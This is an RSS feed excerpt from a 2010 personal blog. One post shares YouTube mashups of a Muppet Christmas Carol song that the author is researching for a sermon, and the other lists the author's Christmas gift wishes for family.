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		<description>&lt;p&gt;I&amp;#8217;m giving part of the Christmas sermon on Sunday and I&amp;#8217;m considering quoting extensively from &amp;#8220;It Feels Like Christmas&amp;#8221; from The Muppet Christmas Carol. As part of my &amp;#8220;research,&amp;#8221; I was on YouTube trying to track down the exact lyrics I wanted to quote.&lt;/p&gt; &lt;p&gt;Of course I came up with the original video:&lt;/p&gt; &lt;p&gt;   [...]</description>
			<content:encoded><![CDATA[<p>I&#8217;m giving part of the Christmas sermon on Sunday and I&#8217;m considering quoting extensively from &#8220;It Feels Like Christmas&#8221; from The Muppet Christmas Carol. As part of my &#8220;research,&#8221; I was on YouTube trying to track down the exact lyrics I wanted to quote.</p>
<p>Of course I came up with the original video:</p>
<p>
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</p>
<p><br class="spacer_" /></p>
<p>But I also came up with these fantastic mashups:</p>
<p>Hagrid as the Ghost of Christmas Present</p>
<p>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube-nocookie.com/v/8fNufFlxKvo?fs=1&amp;hl=en_US&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube-nocookie.com/v/8fNufFlxKvo?fs=1&amp;hl=en_US&amp;rel=0" allowfullscreen="true" allowscriptaccess="always"></embed></object>
</p>
<p>The Doctor as the Ghost of Christmas Present</p>
<p>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" width="480" height="385" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,40,0"><param name="allowFullScreen" value="true" /><param name="allowscriptaccess" value="always" /><param name="src" value="http://www.youtube-nocookie.com/v/BLrxvKrijgU?fs=1&amp;hl=en_US&amp;rel=0" /><param name="allowfullscreen" value="true" /><embed type="application/x-shockwave-flash" width="480" height="385" src="http://www.youtube-nocookie.com/v/BLrxvKrijgU?fs=1&amp;hl=en_US&amp;rel=0" allowfullscreen="true" allowscriptaccess="always"></embed></object>
</p>
<p>Aladdin&#8217;s Genie as the Ghost of Christmas Present:</p>
<p>
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</p>
<p>I think that the Hagrid one is my favorite, but the use of the Master at the beginning of the Doctor Who was great.  <strong>Which do you like best?</strong><br class="spacer_" /></p>
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		<title>Christmas Ideas</title>
		<link>http://feedproxy.google.com/~r/SometimesThoseWhoWanderReallyAreLost/~3/CvZ7eKBM9-o/christmas-ideas.html</link>
		<comments>http://bradyemmett.info/2010/12/christmas-ideas.html#comments</comments>
		<pubDate>Wed, 01 Dec 2010 18:17:52 +0000</pubDate>
		<dc:creator>Brady</dc:creator>
				<category><![CDATA[christmas]]></category>
		<category><![CDATA[family]]></category>
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		<description>&lt;p&gt;This post is mostly meant for my family.  It&amp;#8217;s a way for me to effectively communicate what I would like for Christmas.  Generally, I am listing these in higher priority first order.  These are ideas and don&amp;#8217;t really construe a wish list as such.  Nor is it comprehensive.  Some of my favorite gifts have been [...]</description>
			<content:encoded><![CDATA[<p><img class="alignright" src="http://openonia.com/wp-content/uploads/2010/11/christmas-table-decorating-ideas-3.jpg" alt="" width="388" height="252" />This post is mostly meant for my family.  It&#8217;s a way for me to effectively communicate what I would like for Christmas.  Generally, I am listing these in higher priority first order.  These are ideas and don&#8217;t really construe a wish list as such.  Nor is it comprehensive.  Some of my favorite gifts have been the things that I least expect, that I didn&#8217;t know that I wanted&#8230; like my cast iron skillet or 30 pounds of potatoes.</p>
<p><span style="text-decoration: underline;"><em><strong>(Intangible) Things I want and need:</strong></em></span></p>
<p style="padding-left: 30px;">- A deeper relationship with my siblings, particularly my brothers.<br />
- An occasional phone call from one of the above<br />
- Someone to pick me a dentist and schedule me an appointment<br />
- Encouragement (and help) planning and shopping for meals in advance<br />
- Decluttering help and encouragement<br />
- Some time to think  and encouragement to ask and answer the hard questions<br />
- Insight into and practice to become a better friend</p>
<p><em><span style="text-decoration: underline;"><strong>(Tangible) Things that I want and need:</strong></span></em></p>
<p style="padding-left: 30px;">- An Ultrasonic Humidifier<br />
- Manly Thank You Notes  (Too many are feminine or wedding TY notes. Not what I need!)<br />
- A Knife Sharpener<br />
- Good Steak knives, and maybe an extra paring knife or two<br />
- A storage solution for my Dominion collection <br />
- Oneida Community Twin Star Serving Pieces (Esp. the Pie Server and Pierced Serving Spoon)<br />
- A Green Tie<br />
- Pocket Squares with Yellow, Orange, Red, or Green accents</p>
<p><span style="text-decoration: underline;"><em><strong>Things that I want but probably don&#8217;t need:</strong></em></span></p>
<p style="padding-left: 30px;">- Argyle Socks<br />
- Argyle Sweaters <br />
- German Style Games that I don&#8217;t already own (ask if you want to know) (I&#8217;ve had my eye on Small World and Incan Gold)<br />
- David Allen&#8217;s books: <em>Getting Things Done</em> and <em>Making It All Work</em><br />
- Gretchen Rubin&#8217;s book: <em>The Happiness Project</em> <br />
- A Cast Iron Dutch Oven (Kitchen Style, not Campfire style)<br />
- An Immersion Blender<br />
- A Rice Cooker Cookbook, like <em>The Pot and How to Use It</em><br />
- Dr. Who trinkets</p>
<p style="padding-left: 30px;"> </p>
<p><strong>What do you want for Christmas?</strong></p>
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